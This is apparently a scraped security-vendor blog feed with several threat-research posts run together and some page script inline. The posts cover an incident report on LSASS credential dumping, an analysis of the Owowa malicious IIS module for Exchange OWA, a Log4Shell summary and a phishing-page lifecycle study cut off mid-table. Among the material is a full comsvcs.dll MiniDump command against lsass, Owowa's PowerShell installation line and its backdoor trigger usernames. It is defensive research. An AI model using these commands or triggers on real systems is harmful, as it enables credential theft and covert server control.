    c:\Program Files\Microsoft\Exchange Server\V14\ClientAccess\owa\auth\Es.png

    Table below contains signs of suspicious activity that were the starting point for investigation.

    MITRE ATT&CK Technique MDR telemetry event type used Detection details Description T1003.001:
    OS Credential Dumping: LSASS Memory AV exact detect AV verdict:
    PDM:Exploit.Win32.GenericProcess command line:
    C:\Windows\System32\comsvcs.dll MiniDump
    616 C:\programdata\cdera.bin full
    Parent process command line:
    C:\Windows\System32\wsmprovhost.exe –
    Grandparent process command line::
    C:\Windows\System32\svchost.exe -k
    DcomLaunchProcess logon type: 3 (Network logon) Remotely executed
    process memory dump
    was detected by AM
    616 is LSASS process
    PID T1003.001:
    OS Credential Dumping: LSASS Memory Create section (load DLL)
    Execute section (run DLL) DLL name: C:\programdata\english1.dll
    Process:  C:\Windows\System32\lsass.exe
    Process PID: 616
    Parent process: command line: C:\Windows\System32\wininit.exe
    Process integrity level: System Unknown DLL was loaded and executed within lsass.exe T1003.001:
    OS Credential Dumping: LSASS Memory Inexact AV detect Internal AV verdict: The file is Security Support
    Provider (SSP)
    File path: C:\programdata\english1.dll
    Process: C:\Windows\System32\lsass.exe Unknown DLL loaded to lsass is SSP T1053.005:
    Scheduled Task/Job: Scheduled Task Create process Process command line:
    C:\programdata\InEnglish.exe g2@j5js1
    0sdfs,48 C:\programdata\EnglishEDouble C:\programdata\EnglishDDouble
    Parent process command line:
    taskeng.exe {7725474B-D9EA-473D-B10D-
    AC0572A0AA70} S-1-5-18:NT
    Grandparent process command line:
    C:\Windows\System32\svchost.exe -k netsvcs
    Process integrity level: System
    Process user SID: S-1-5-18 Suspicious executable from C:\programdata run as scheduled task under System privileges

    Observed malicious files:

    c:\programdata\e.zip 0x37630451944A1DD027F5A9B643790B10 c:\programdata\es.zip 0x3319BD8B628F8051506EE8FD4999C4C3 c:\programdata\m.zip 0xC15D90F8374393DA2533BAF7359E31F9 c:\programdata\inenglish.exe 0xCB15B1F707315FB61E667E0218F7784D c:\programdata\english1.dll 0x358C5061B8DF0E0699E936A0F48EAFE1 c:\windows\cluster\resource.exe 0x872A776C523FC33888C410081A650070 c:\windows\cluster\twindump.dll 0xF980FD026610E4D0B31BAA5902785EDE Conclusion

    Attackers follow trends. They use any loophole to break into your corporate network. Sometimes they learn about new vulnerabilities in products earlier than security researchers do. Sometimes they hide so skillfully that their actions are indistinguishable from those of your employees or administrators.

    Countering targeted attacks requires extensive experience as well as constant learning. Kaspersky Managed Detection and Response delivers fully managed, individually tailored ongoing detection, prioritization, investigation, and response. As a result, it provides all the major benefits from having your own security operations center without having to actually set one up.

    2021. december 15.

    Kaspersky Security Bulletin 2021. Statistics

    All statistics in this report are from the global cloud service Kaspersky Security Network (KSN), which receives information from components in our security solutions. The data was obtained from users who had given their consent to it being sent to KSN. Millions of Kaspersky users around the globe assist us in collecting information about malicious activity. The statistics in this report cover the period from November 2019 to October 2021, inclusive.

    Figures of the year
    • During the year, 15.45% of internet user computers worldwide experienced at least one Malware-class attack.
    • Kaspersky solutions blocked 687,861,449 attacks launched from online resources across the globe.
    • 114,525,734 unique malicious URLs triggered Web Anti-Virus components.
    • Our Web Anti-Virus blocked 64,559,357 unique malicious objects.
    • Ransomware attacks were defeated on the computers of 366,256 unique users.
    • During the reporting period, miners attacked 1,184,986 unique users.
    • Attempted infections by malware designed to steal money via online access to bank accounts were logged on the devices of 429,354 users.

    Fill the form below to download the Kaspersky Security Bulletin 2021. Statistics full report (English, PDF)

    MktoForms2.loadForm("//app-sj06.marketo.com", "802-IJN-240", 28625, function(form) { form.onSuccess(function(values, followUpUrl){ //Take the lead to a different page on successful submit, ignoring the forms configured followUpUrl. location.href = "https://go.kaspersky.com/rs/802-IJN-240/images/KSB_statistics_2021_eng.pdf"; //return false to prevent the submission handler continuing with its own processing return false; }); }); .googleRecaptcha { padding: 20px !important; } var GOOGLE_RECAPTCHA_SITE_KEY = '6Lf2eUQUAAAAAC-GQSZ6R2pjePmmD6oA6F_3AV7j'; var insertGoogleRecaptcha = function (form) { var formElem = form.getFormElem().get(0); if (formElem && window.grecaptcha) { var div = window.document.createElement('div'); var divId = 'g-recaptcha-' + form.getId(); var buttonRow = formElem.querySelector('.mktoButtonRow'); var button = buttonRow ? buttonRow.querySelector('.mktoButton[type="submit"]') : null; var submitHandler = function (e) { var recaptchaResponse = window.grecaptcha && window.grecaptcha.getResponse(widgetId); e.preventDefault(); if (form.validate()) { if (!recaptchaResponse) { div.setAttribute('data-error', 'true'); } else { div.setAttribute('data-error', 'false'); form.addHiddenFields({ reCAPTCHAFormResponse: recaptchaResponse, }); form.submit(); } } }; div.id = divId; div.classList.add('googleRecaptcha'); if (button) { button.addEventListener('click', submitHandler); } if (buttonRow) { formElem.insertBefore(div, buttonRow); } if (window.grecaptcha.render) { var widgetId = window.grecaptcha.render(divId, { sitekey: GOOGLE_RECAPTCHA_SITE_KEY, }); formElem.style.display = ''; } } }; function onloadApiCallback() { var forms = MktoForms2.allForms(); for (var i = 0; i < forms.length; i++) { insertGoogleRecaptcha(forms[i]); } } (function () { MktoForms2.whenReady(function (form) { form.getFormElem().get(0).style.display = 'none'; jQuery.getScript('//www.google.com/recaptcha/api.js?onload=onloadApiCallback'); }); })();
    2021. december 14.

    Owowa: the add-on that turns your OWA into a credential stealer and remote access panel

    While looking for potentially malicious implants that targeted Microsoft Exchange servers, we identified a suspicious binary that had been submitted to a multiscanner service in late 2020. Analyzing the code, we determined that the previously unknown binary is an IIS module, aimed at stealing credentials and enabling remote command execution from OWA. We named the malicious module ‘Owowa’, and identified several compromised servers located in Asia.

    Meet Owowa, the IIS module you don’t want

    Owowa is a C#-developed .NET v4.0 assembly that is intended to be loaded as a module within an IIS web server that also exposes Exchange’s Outlook Web Access (OWA). When loaded this way, Owowa will steal credentials that are entered by any user in the OWA login page, and will allow a remote operator to run commands on the underlying server.

    The malicious module was most likely compiled between late 2020 and April 2021. The assembly default “LegalCopyright” field shows “2020” as a date, and the most recent Owowa sample we could find was detected in April 2021 in our telemetry. The assembly contains a reference to a debugging database (PDB) in its “File” property, and its public key token is set to “b07504c8144c2a49”.

    We determined that Owowa is intended to be launched as an IIS module because the only relevant code is placed in the class ExtenderControlDesigner, which implements an IIS-specific interface (IHttpModule). Owowa is specifically designed to inspect HTTP requests and responses by hooking the PreSendRequestContent event. This event is supposedly raised when a web application of IIS is about to send content to the client (but according to Microsoft, such an event should never be used in an IHttpModule instance because it is likely to cause an application or server crash).

    Malicious HTTP module definition

    We determined that Owowa is specifically targeting OWA applications of Exchange servers because its code is purposely ignoring requests from OWA-specific monitoring of account names that start with the HealthMailbox string.

    The malicious module is actually designed to log credentials of users that successfully authenticated on the OWA authentication web page. Successful authentication is verified by checking that the OWA application is sending an authentication token back to the user. If that’s the case, the username, password, user’s IP address and current timestamp are stored in a file at C:\Windows\Temp\af397ef28e484961ba48646a5d38cf54.db.ses. Data are encrypted using the RSA algorithm, with a hardcoded public key stored as an XML blob:


    A malicious operator can interact with Owowa by entering specifically crafted commands within the username and password fields in the OWA authentication page of a compromised server. Owowa will respond to these commands through the IIS server, and display the results to the operator, instead of the expected OWA login error messages:

    • if the OWA username is jFuLIXpzRdateYHoVwMlfc, Owowa will return the encrypted credentials log, encoded in base64;
    • if the OWA username is Fb8v91c6tHiKsWzrulCeqO, the malicious module deletes the content of the encrypted credentials log, and returns the OK string (encrypted using RSA);
    • If the OWA username is dEUM3jZXaDiob8BrqSy2PQO1, Owowa executes the command that is typed in the OWA password field using PowerShell on the compromised server. The result of the command is encrypted (as previously described) and returned to the operator.

    Owowa contains an empty and unused additional assembly, stored as a compressed resource, as well as an additional AssemblyLoader class from a Costura namespace. These are most likely the result of using the Fody bytecode weaving tool and its Costura add-in from the build chain of Owowa’s developer. Fody allows .NET developers to dynamically add features to assemblies at compilation time by weaving, or dynamically modifying the assembly bytecode. In particular, Costura is aimed at packaging dependencies, by adding these dependencies as compressed resources to the assembly. These Costura by-products could either be left-overs from the developer’s build chain or an obfuscation attempt that is still being developed, since Owowa’s malicious code could potentially be hidden as a compressed resource within a Costura-built assembly.

    IIS modules management: loading, finding and getting rid of Owowa

    Owowa is loaded (for all compatible applications run by a given IIS server, including OWA) by the following PowerShell script:

    [System.Reflection.Assembly]::Load('System.EnterpriseServices, Version=, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'); $publish = New-Object System.EnterpriseServices.Internal.Publish; $name = (Get-Item PATH\ExtenderControlDesigner.dll).FullName; $publish.GacInstall($name); $type = 'System.Web.Extensions.Resource.ExtenderControlDesigner,' + [System.Reflection.AssemblyName]::GetAssemblyName($name).FullName; Appcmd.exe add module /name:ExtenderControlDesigner /type:"$type"

    The module is first registered in the global assembly cache, and can then be loaded by the IIS server that is running the OWA application. This setup technique is very reminiscent of one previously used by an unknown threat actor and described by RSA in March 2020 as part of an incident investigation that also involved malicious HTTP modules.

    Malicious IIS modules, and Owowa in particular, can be identified by using the command appcmd.exe or the IIS configuration tool, which lists all the loaded modules on a given IIS server instance:

    C:\Windows\System32\inetsrv>appcmd.exe list modules | findstr ExtenderControl MODULE "ExtenderControlDesigner" ( type:System.Web.Extensions.Resource.ExtenderControlDesigner,ExtenderControlDesigner, Version=, Culture=neutral, PublicKeyToken=b07504c8144c2a49, preCondition: )

    Malicious module in the IIS configuration manager

    Owowa victims

    We identified a cluster of targets in Asia with compromised servers in Malaysia, Mongolia, Indonesia and the Philippines. Most of them belong to government organizations, except for one that belongs to a government-owned transportation company.

    Geography of Owowa targets

    While we did not discover further compromised servers, we assess with medium to high confidence that additional organizations may also have been targeted in Europe, based on additional data that we provided to customers of our threat intelligence services and that we cannot publicly disclose.


    We couldn’t find any link between Owowa and any known threat actor, due to insufficient data regarding Owowa’s deployment. However, the developer behind Owowa failed to remove the PDB paths in the two identified samples, which both start with C:\Users\S3crt\source\repos\ClassLibrary2\, suggesting a specific username.

    Searching for potentially related resources, we identified a Keybase account sharing the same user name – s3crt – with the aforementioned PDB paths. Notably, it shares offensive tools, such as Cobalt Strike and Core Impact:

    s3crt Keybase account

    The same username also exists as an account on RAID Forums, demonstrating an interest in Core Impact, a popular penetration testing software suite:

    s3crt RAID Forums account

    Finally, we identified a blog profile on CSDN displaying both the s3crt and z7ys as usernames (the blog title is “z7ys’_s3crt_CSDN博客-XSS领域博主”). The user shows an interest in hacking techniques and distributes files that supposedly contain leaked Cobalt Strike source code, dating to November 2018:

    s3crt CSDN account[1]

    Leveraging these clues, the PDB paths and corresponding username, we identified several additional malicious binary files that may have been developed or packaged by the same developer:

    • A binary loader (MD5: D4BDFB90D9AA6D573F3FF3A755E2E630) containing a PDB path that shares a common root with Owowa’s: C:\Users\S3crt\source\repos\Shellcode_inject\Release\artifact32.pdb.

      This binary was submitted to a multiscanner service in September 2021, but was first spotted in the wild in August 2020. It is designed to decode (XOR) and execute an embedded shellcode. The shellcode was downloading a malicious payload from the IP 150.109.111[.]208 in August 2020. The server was not serving such a payload at the time of our investigation, though based on our telemetry we assume with high confidence it was related to Cobalt Strike;

    • We identified another similar binary loader (MD5: 3C5654DDD7998AE39717F7E3D079BD93), first spotted in August 2020, that supposedly also loaded a Cobalt Strike-like payload from 150.109.111[.]208 in August 2020;

    • Finally, we identified an additional binary loader (MD5: 3DB7101794CB166CA672814728F4E8D7) that was detected in March 2021 connecting to the domain s3crt[.]biz that also triggered execution of Cobalt Strike payloads. The loader’s PDB is C:\Users\Administrator\source\repos\Artifact\x64\Aritfact_big\Artifact.pdb, which is similar in structure to those involving s3crt.

    It should be noted that the s3crt username is a simple derivation of the English word “secret” and could very well be used by multiple individuals. Hence, we cannot be certain that the identified accounts and files are actually linked to the developer of Owowa or related to each other. However, the combination of corresponding usernames, PDB paths, projects names and interests in malicious tools or tactics are notable.


    The malicious module described in this post represents an effective option for attackers to gain a strong foothold in targeted networks by persisting inside an Exchange server. For malicious operators there are several benefits:

    • An IIS module stays persistent on a compromised system even to a Exchange software update;
    • Malicious capabilities can easily be triggered by directly sending seemingly innocuous requests to exposed web services – in this case, authentication requests to OWA. Malicious requests like this can be difficult to detect with network monitoring;
    • IIS modules are not a common format for backdoors, especially when compared to typical web application threats like web shells and can therefore easily be missed during standard file monitoring efforts;
    • The attacker can leverage the module to passively steal credentials from users that legitimately access web services, which presents a stealthier alternative to sending phishing emails.

    Unfortunately, we were unable to retrieve enough data to associate the discovered malicious module with any infection chain or post-infection activities. Earlier this year, the ProxyLogon vulnerabilities demonstrated the impact of Exchange server compromise, as well as how quickly threat actors are able to jump on the bandwagon to leverage critical flaws and pursue their goals. It’s possible that malicious operators leveraged these server vulnerabilities to initially deploy Owowa.

    While showing creativity in Owowa’s development, the creator ignored explicit warnings from Microsoft regarding several risky development practices for HTTP modules, which may result in server crashes. Moreover, sensitive information on the development environment (PDB paths, Fody by-products) remained in publicly available samples. Further samples or online profiles can be weakly linked to this kind of information.

    The operators behind Owowa demonstrated an interest in government organizations in Asia and specifically South-East Asia. Such targeting may fit a threat actor seeking to gather intelligence on ASEAN’s agenda and member states’ foreign policies. However, the practices exhibited by what is likely an inexperienced developer don’t appear to correspond with such strategic targeting.

    Indicators of Compromise


    Possibly related malicious loaders:



    PDB Paths:

    Possibly related Cobalt Strike C2:

    Possibly related suspicious domain:

    [1] Note that the picture used in the profile is of a martial art practitioner and is unrelated.

    2021. december 13.

    CVE-2021-44228 vulnerability in Apache Log4j library

    CVE-2021-44228 summary

    Last week information security media reported the discovery of the critical vulnerability CVE-2021-44228 in the Apache Log4j library (CVSS severity level 10 out of 10). The threat, also named Log4Shell or LogJam, is a Remote Code Execution (RCE) class vulnerability. If an attacker manages to exploit it on a vulnerable server, they gain the ability to execute arbitrary code and potentially take full control of the system. A publicly published Proof-of-Concept, as well as the vulnerability’s easy exploitability, make this situation particularly dangerous.
    Kaspersky is aware of PoCs in the public domain and of the possible exploitation of CVE-2021-44228 by cybercriminals. Our products protect against attacks leveraging the vulnerability, including PoC usage. Possible detection names are:

    • UMIDS:Intrusion.Generic.CVE-2021-44228.*
    • PDM:Exploit.Win32.Generic

    KATA verdicts:

    • Exploit.CVE-2021-44228.TCP.C&C
    • Exploit.CVE-2021-44228.HTTP.C&C
    • Exploit.CVE-2021-44228.UDP.C&C

    Geography of CVE-2021-44228 scan and exploitation attempts, December 2021

    CVE-2021-44228 technical details

    The remote code execution vulnerability CVE-2021-44228 was found in the Apache Log4j library, a part of the Apache Logging Project. If a product uses a vulnerable version of this library with the JNDI module for logging purposes, there is a high possibility that this vulnerability can be exploited. Almost all versions of Log4j are vulnerable, from 2.0-beta9 to 2.14.1.
    Log4j includes a Lookup mechanism that could be used to make requests through special syntax in a format string. For example, it can be used to request various parameters such as the version of the Java environment via ${java:version}, etc. Then, by specifying the jndi key in the string, the Lookup mechanism uses JNDI API. By default, all requests are done using the prefix java:comp/env/; however, the authors implemented the option of using a custom prefix by means of a colon symbol in the key. This is where the vulnerability lies: if jndi:ldap:// is used as the key, the request goes to the specified LDAP server. Other communication protocols, such as LDAPS, DNS and RMI, can also be used.
    Thus, an attacker-controlled remote server could return some object to a vulnerable server, potentially leading to arbitrary code execution in the system or to leakage of confidential data. All an attacker should do is send a special string through the mechanism that writes this string to a log file and is therefore handled by the Log4j library. This can be done with simple HTTP requests, for example, ones sent through web forms, data fields, etc, or with any other kind of interactions that use server-side logging.

    Mitigations for CVE-2021-44228 Indicators of compromise (IOC)


    2021. december 9.

    The life cycle of phishing pages


    In this study, we analyzed how long phishing pages survive as well as the signs they show when they become inactive. In addition to the general data, we provided a number of options for classifying phishing pages according to formal criteria and analyzed the results for each of them.

    The resulting data and conclusions could be used to improve mechanisms for re-scanning pages which have ended up in anti-phishing databases, to determine the response time to new cases of phishing, and for other purposes.

    Data retrieval method

    Websites were selected for this study which our signature anti-phishing engine identified as “phishing” threats from July 19 to August 2, 2021. The engine’s database was monitored once every minute to avoid delays between when a verdict is assigned and uploading the link to the study database. One link was selected from each subdomain in order to maximize the sample range and rule out any outliers. A total of 5310 links were collected. The vast majority of them (5307) led to phishing pages, while the rest led to scam pages.

    Over a thirty-day period from the moment a “phishing” verdict was assigned to a page, the analysis program checked each link every two hours and saved the response code issued by the server as well as the text of the retrieved HTML page (or the error log if the page couldn’t be loaded). The content of each page was then compared to its earlier version, focusing on a number of characteristics: the page’s MD5 hash, title, and size. The detailed analysis process is illustrated in the following flowchart:

    Diagram of how phishing pages were analyzed

    Data processing method

    The following data was stored for each link at the end of the 30-day period:

    • the analysis verdicts assigned according to the flowchart above;
    • server response codes;
    • error logs;
    • page titles with manually assigned labels based on analytics:
      • the page contains phishing or a scam;
      • the page is a hosting stub;
      • the page cannot be found or won’t load.

    Each item on this list was given a timestamp to represent the number of seconds elapsed from when the link began to be monitored. Using the timestamps, we recorded the data into a table to plot a graph showing the life cycle of each link. This allowed us to track when there was phishing activity on a page.

    An example of a graph showing a link’s life cycle. This graph shows the link’s unique identifier (in the graph heading), page titles (in blue) and errors (in red). The days of monitoring are shown on the x-axis

    We added together the results of the analysis relative to each timestamp and calculated the number of pages which were still active after a fixed amount of time since they began to be monitored. We also calculated the number of pages which became inactive during this time and the errors they displayed during their last period of inactivity (further referred to as “signs of inactivity”).

    General results Life cycle of phishing pages

    The following graph shows the number of days survived by phishing links which became inactive during the 30-day monitoring period. Given that the links were detected by the program on a gradual basis, the graph indicates the relative time each link was monitored as the number of days. A significant number of links (1784) were already inactive after the first day of monitoring.

    Classification of phishing links according to the number of active days (download)

    At a glance, the classification of links according to the number of hours they survived shows the bulk of phishing pages were only active for less than 24 hours. In the majority of cases, the page was already inactive within the first few hours of its life.

    Classification of phishing links according to the number of active hours. The graph presents data for the first five days of each link’s life (download)

    In just 30 days, 3,791 (71.4%) of the pages stopped showing signs of phishing activity. Moreover, a quarter of all the pages were already inactive just 13 hours after they began to be monitored, while half of the pages survived for no more than 94 hours.

    Signs of end of phishing activity

    During this study, we identified the following signs which indicate that the phishing activity on a page has ended:

    • Timeout — the domain was successfully translated to an IP address but there was no response from the web server
    • Domain name resolution error — the domain couldn’t be translated to an IP address
    • No content — the phishing content has been replaced with a “page not found” stub, or there is error 404 when trying to open the link
    • Hosting stub — instead of the phishing content, the linked page clearly indicates that the domain is hosted (for example, “account blocked”, “website under reconstruction”, etc.)
    • Other — rare signs of inactivity (e.g. a certificate error) or errors which do not allow us to pinpoint what exactly has happened.

    The following diagram shows the signs most frequently observed in links included in the study.

    Signs indicating end of phishing activity (download)

    Change to the phishing page during its life

    In most cases, phishing pages remain unchanged throughout their active period, although they can change. For example, the phishers can change the brand name, i.e. the target organization they’re posing as. We monitored changes in the target organization by analyzing the title of the page, as changes in the title most frequently indicated changes in the target.

    Another option is to change the page’s code, which we identified by analyzing the size of the page. This is a more appropriate method than analyzing the symbols of the code, as it allows us to filter out pages which contain random variables in their codes. Cybercriminals often use them to avoid getting blocked: the hash sum of the entire page, which anti-phishing engines use to detect similar pages, changes when even the smallest correction is made. Analyzing the size of the page also allows us to quickly process a large number of webpage pairs.

    Changes phishing pages underwent during their life (download)

    Not one of the pages monitored in this study changed its target organization during its life. The reason could be the fact that many phishing websites use a sequence of symbols in their URLs which aims to resemble the target organization they’re posing as (e.g. amaz0n). This kind of phishing is difficult to reorientate to copy a different organization, and it’s easier for the cybercriminals to create a new phishing page than tweak an existing one.

    Classification of phishing pages which changed their content during their life according to their aims (download)

    Among phishing pages which have changed their content stand out those imitated prize giveaways from the game PUBG. This could have something to do with the fact that PUBG runs alternating temporary events (“seasons”). Given that cybercriminals want to make their phishing pages convincing and therefore as topical as possible, they periodically change the content of pages to keep up with the new season. Example of a fake PUBG giveaway:

    Classification of links according to various criteria

    The data presented above allows some general conclusions to be made about the life cycle of modern phishing pages without focusing on specific categories. However, we can learn more about such pages if we group them according to fixed criteria and study how the characteristics of their life cycles differ depending on the group.

    We grouped phishing pages according to the following formal criteria:

    • Date of the domain creation
    • Top level domain (TLD). Some examples are .com or .ru
    • Location of the phishing page at the website’s root or in a separate directory
    • Domain level where the phishing page is located
    Date of the domain creation

    We obtained the date of the domain creation from the WHOIS public data. Based on this data, we grouped all the domains into five categories:

    • created in June 2021 or later;
    • created between June 2020 and June 2021;
    • created from June 2015 to June 2020;
    • created before June 2015;
    • hosting.

    Distribution of the collected domains according to their creation date

    Domain creation period Number of pages Active after 30 days Start of the inactivity period Signs of inactivity Q1* Q2** Timeout Domain name resolution error No content Hosting stub Other June 2021 and later 1011 367 11 195 213 278 43 76 34 From June 2020 to June 2021 993 310 40 208 357 145 117 21 43 From June 2015 to June 2020 622 154 17 87 185 37 168 44 34 Before June 2015 836 382 45 688 194 34 157 45 24 Hosting 1337 165 8 24 613 181 55 275 48

    *Number of hours elapsed by the time a quarter of the domains in this category have become inactive.
    **Number of hours elapsed by the time half of the domains in this category have become inactive.

    Time frames were based on the fact that the lifetime of phishing pages on new domains is more dependent on the exact time of their creation than the lifetime of phishing pages on old resources, hence why the length of the periods varies. The “hosting” category combines pages on domains marked as host domains in Kaspersky’s anti-phishing database. A separate category was created for these pages because WHOIS services indicate the second-level domain creation date, whereas hosted phishing pages are usually located on subdomains whose creation dates are unavailable. We were also unable to find the creation date for 511 domains not related to hosting, which is why these pages were disregarded in this section.

    Distribution of phishing pages according the creation date (download)

    Based on this data, we made a number of observations. Here are the key takeaways:

    • Hosted phishing pages become inactive faster than the others. A quarter of the pages survived for no more than 8 hours, and only 12.3% of all pages remained active after 30 days. This has to do with the fact that the cheapest option which requires the least effort is to create a hosted phishing website. Hosting providers offer a free trial period which is usually enough for cybercriminals’ plans, and once time is up on the free trial they can simply create a new page and abandon the old one.
    • The most “resilient” pages turned out to be ones created before June 2015: 45.7% of these pages remained active after 30 days. Most of these are old websites hacked by cybercriminals who put phishing content there. These pages are likely to remain active for a long time because they’ve been abandoned by their original creators or are located on servers with outdated software which leaves websites more vulnerable to attacks and their consequences.
    • When it comes to newer websites, unsuccessful domain name resolution is a more common sign that activity has stopped, whereas the signs on older websites which most frequently signal the end of a phishing campaign are pages displaying “not found” and 404 errors.
    Top-level domain (TLD)

    We divided all the top-level domains used into three groups: popular gTLDs (generic top-level domains including com, .org., and .net), cheap gTLDs (.xyz and .top), and ccTLDs (country code top-level domains: .cn, .ru etc.), where we decided to also include gTLDs which didn’t fall under the first two categories (.live, .app, etc.).

    Distribution of top-level domains

    Top-level domain Number of pages Active after 30 days Start of the inactivity period Signs of inactivity Q1* Q2** Timeout Domain name resolution error No content Stub Other Popular gTLDs 2629 599 13 56 986 404 318 205 117 Cheap gTLDs 528 200 11 87 71 207 22 11 17 Other gTLDs and ccTLDs 2153 720 17 213 516 183 269 302 64

    *Number of hours elapsed by the time a quarter of the domains in this category have become inactive.
    **Number of hours elapsed by the time half of the domains in this category have become inactive.

    Phishing pages most frequently use established well-known domains such as .org and .com. At the same time, the .xyz domain is popular among cybercriminals, which is one of the top-level domains that allows you to register a new domain at a low cost or for free, making it convenient for creating one-day websites.

    Classification of phishing pages according to top-level domains used (download)

    TOP 10 top-level domains where phishing pages are most frequently found (download)

    After 30 days, the lowest percentage of activity (22.8%) was observed among phishing pages on popular old TLDs. Websites which make a large contribution to this figure are “located” on the dynamic domain name service duckdns.org. The owner of any server can link the domain name on duckdns.org to the IP-address of their server for free, which cybercriminals use to quickly create websites.

    The largest percentage of unsuccessful domain name resolution cases were found on websites located on cheap domains at a total of 63.1%. The reason is that it is easy to register a new name on these domains which is only attractive for phishing attacks where domain names spell out famous brands with typos. When a website is no longer needed, the owner abandons it and doesn’t renew registration. This means the website disappears from the internet forever.

    Location of a phishing page on a website

    Phishing pages can be divided into two groups according to where they’re located on a server:

    • pages with their files located at the server root, e.g. https://example.com/;
    • pages with their files located in a folder (directory), e.g. https://example.com/phishing.

    Distribution of phishing pages according to their location

    Page location Number of pages Active after 30 days Start of the inactivity period Signs of inactivity Q1* Q2** Timeout Domain name resolution error No content Stub Other In a directory 3818 1206 15 157 1024 497 592 364 135 At the root 1492 313 12 39 648 297 17 154 63

    *Number of hours elapsed by the time a quarter of the domains in this category have become inactive.
    **Number of hours elapsed by the time half of the domains in this category have become inactive.

    Information about where the files of a phishing page are located can help us determine whether the attackers created a purpose-built website for phishing or hacked one. Setting up a phishing page at the root of a legitimate website may require changing the structure of files on the server and deleting the legitimate website’s content. This can be more problematic than creating a new folder on the server which doesn’t interfere with the website’s other information resources.

    Distribution of phishing pages according to where they’re located on a server (download)

    The results confirm the assumption made earlier that it’s easier for cybercriminals to create separate directories on hacked websites to achieve their aims: over 97% of the pages which displayed the error “no content” were located in directories. “No content” is an indication that the file has been deleted from the server. More often than not, this occurs when a website’s rightful owner regains access to the website or simply detects a threat and removes the suspect content.

    Phishing pages located in directories proved to be more resilient than pages at the root: about 30% of the links remained active over 30 days (compared to 20% of pages at the root). Moreover, half of the phishing links in directories only became inactive after 157 hours, which is four times the activity length observed for pages at the root.

    Domain level

    Distribution according to domain level

    Domain level Number of pages Active after 30 days Start of the inactivity period Signs of inactivity Q1* Q2** Timeout Domain name resolution error No content Stub Other 2 2279 569 13 87 641 343 438 181 107 3 2248 667 15 99 810 285 144 281 61 4+ 783 283 15 114 221 166 27 56 30

    *Number of hours elapsed by the time a quarter of the domains in this category have become inactive.
    **Number of hours elapsed by the time half of the domains in this category have become inactive.

    The domain level can indicate whether a website is part of a large network such as a hosting service or an independent online entity. When determining the domain level, composite top-level domains (like .co.uk) were counted as one level.

    Domains over the sixth level are rare and usually created to trick users by imitating how the real website’s URL is written. An example would be the fictitious website: https://www.google.com.secure.domain.phishing[.]xyz. A user taking a quick glance at the link will see google.com and may not notice this isn’t the full domain name and that the website doesn’t have any connection with Google.

    Distribution of phishing pages by domain level (download)

    We’ve made several observations based on the data collected. Here are the key takeaways:

    • The higher the domain level the more resilient a page is. This is reflected in the percentage of pages which remain active after 30 days as well as the time half of the links took to cease activity.
    • The error “content not found” was encountered on pages on third-level (and lower) domains which became inactive. This is further confirmation that not every phishing link below the second level is located on a hosting service.
    • The opposite also holds true, i.e. not every page on a second-level domain is located on its own server: hosting stubs are found at this level. This has to do with the fact that you can connect a pre-registered second-level domain when registering a website on a hosting service.
    Which combinations of characteristics are encountered most frequently in phishing?

    We’ve looked at different ways phishing pages can be classified according to formal criteria. Based on this data, we can now look at the most frequent combinations of characteristics to determine which phishing websites are encountered most often.

    Table for frequency of all combinations of characteristics Creation date Location Domain level TLD Quantity Percentage of pages active after 30 days Start of the inactivity period Q1* Q2** Q3*** Hosting At the root 3 Popular gTLDs 568 6% 7.33 19.51 51.91 Before June 2015 In a directory 3 Other gTLDs and ccTLDs 346 75% From June 2015 to June 2020 In a directory 2 Popular gTLDs 302 19% 16.44 64.00 547.88 June 2021 and later At the root 2 Popular gTLDs 280 29% 108.03 378.69 From June 2020 to June 2021 In a directory 2 Popular gTLDs 231 19% 10.85 57.24 468.23 Hosting In a directory 3 Other gTLDs and ccTLDs 228 16% 15.14 61.97 385.16 Before June 2015 In a directory 2 Popular gTLDs 228 16% 4.67 28.97 516.28 From June 2020 to June 2021 In a directory 3 Other gTLDs and ccTLDs 204 14% 208.31 212.98 446.42 June 2021 and later In a directory 2 Popular gTLDs 189 42% 14.60 228.22 Hosting In a directory 3 Popular gTLDs 154 14% 6.87 22.64 143.15 Hosting In a directory 4+ Other gTLDs and ccTLDs 148 14% 6.58 39.23 311.31 From June 2020 to June 2021 In a directory 2 Cheap gTLDs 130 42% 43.47 666.60 From June 2020 to June 2021 In a directory 2 Other gTLDs and ccTLDs 121 29% 13.28 102.46 June 2021 and later In a directory 2 Cheap gTLDs 118 37% 4.17 29.19 Hosting At the root 3 Other gTLDs and ccTLDs 116 25% 18.12 58.30 From June 2015 to June 2020 In a directory 2 Other gTLDs and ccTLDs 101 15% 8.33 49.97 381.56 From June 2020 to June 2021 In a directory 4+ Popular gTLDs 91 57% 89.99 Before June 2015 In a directory 2 Other gTLDs and ccTLDs 91 23% 15.11 82.52 685.70 From June 2020 to June 2021 In a directory 3 Popular gTLDs 86 56% 89.93 From June 2015 to June 2020 In a directory 3 Popular gTLDs 83 30% 19.47 98.56 June 2021 and later At the root 4+ Cheap gTLDs 77 47% 10.72 25.99 From June 2015 to June 2020 In a directory 3 Other gTLDs and ccTLDs 73 58% 306.02 Hosting At the root 4+ Popular gTLDs 65 5% 6.63 19.57 59.16 Before June 2015 In a directory 3 Popular gTLDs 63 17% 19.01 64.99 462.00 Before June 2015 In a directory 4+ Other gTLDs and ccTLDs 60 60% 211.41 June 2021 and later In a directory 4+ Popular gTLDs 54 46% 8.73 198.33 June 2021 and later In a directory 3 Popular gTLDs 53 36% 6.26 145.73 June 2021 and later In a directory 2 Other gTLDs and ccTLDs 51 31% 5.38 34.63 June 2021 and later In a directory 4+ Cheap gTLDs 37 46% 17.44 50.01 June 2021 and later At the root 2 Cheap gTLDs 36 19% 13.90 51.05 531.54 Hosting In a directory 4+ Popular gTLDs 32 25% 11.04 49.51 From June 2020 to June 2021 At the root 3 Other gTLDs and ccTLDs 29 31% 32.24 51.85 Before June 2015 At the root 3 Popular gTLDs 27 44% 18.99 324.53 From June 2020 to June 2021 In a directory 4+ Other gTLDs and ccTLDs 26 46% 48.05 521.60 Hosting At the root 4+ Other gTLDs and ccTLDs 25 52% 21.30 From June 2020 to June 2021 In a directory 3 Cheap gTLDs 25 44% 167.61 296.23 June 2021 and later At the root 2 Other gTLDs and ccTLDs 22 45% 7.27 11.87 June 2021 and later At the root 3 Cheap gTLDs 22 27% 7.05 31.89 From June 2020 to June 2021 At the root 4+ Other gTLDs and ccTLDs 20 40% 15.14 31.68 June 2021 and later At the root 3 Popular gTLDs 19 37% 34.78 154.85 June 2021 and later In a directory 3 Cheap gTLDs 18 28% 7.64 36.86 June 2021 and later In a directory 3 